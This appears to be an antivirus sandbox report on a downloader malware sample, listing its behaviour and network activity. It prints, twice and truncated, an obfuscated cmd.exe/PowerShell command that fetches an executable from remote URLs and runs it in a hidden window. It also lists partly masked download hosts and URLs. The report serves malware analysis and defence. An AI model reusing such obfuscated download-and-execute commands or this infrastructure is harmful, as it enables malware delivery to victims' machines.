Technical Information
Malicious functions
Downloads and executes files.
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /V:^O/C"s^et ^Q2^B=^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ }}{hct^ac}^;^k^aer^b;^sl^z^$^ ^me^tI-e^kovnI;)^sl^z$^ ,^l^jN^$(eli^Fd^aoln^woD^.wXM^$^{^yr^t{)^EGP^$ ni ^ljN$(hcaerof^;^'exe.'+^j^TU$+'^\'+cil^b^u...
Network activity
Connects to
- 'fa####ekoning.net':80
- 'ma###lkoning.nl':443
- 'we###te.vtoc.vn':80
- 'li###sfan.ru':80
- 'li###sfan.ru':443
- 'to###.datanom.fi':80
- 'al##rfx.com':80
TCP
HTTP GET requests
- http://fa####ekoning.net/Sw51duCIY
- http://we###te.vtoc.vn/demo/hailoc/wp-snapshots/JeHXbk6WzM
- http://li###sfan.ru/271vNHA
- http://to###.datanom.fi/testlab/VJ1t3ol
- http://al##rfx.com/8Es5z7sVJL
Other
- 'fa####ekoning.net':443
- 'li###sfan.ru':443
UDP
- DNS ASK fa####ekoning.net
- DNS ASK ma###lkoning.nl
- DNS ASK we###te.vtoc.vn
- DNS ASK li###sfan.ru
- DNS ASK to###.datanom.fi
- DNS ASK al##rfx.com
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' /V:^O/C"s^et ^Q2^B=^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ }}{hct^ac}^;^k^aer^b;^sl^z^$^ ^me^tI-e^kovnI;)^sl^z$^ ,^l^jN^$(eli^Fd^aoln^woD^.wXM^$^{^yr^t{)^EGP^$ ni ^ljN$(hcaerof^;^'exe.'+^j^TU$+'^\'+cil^b^u...' (with hidden window)
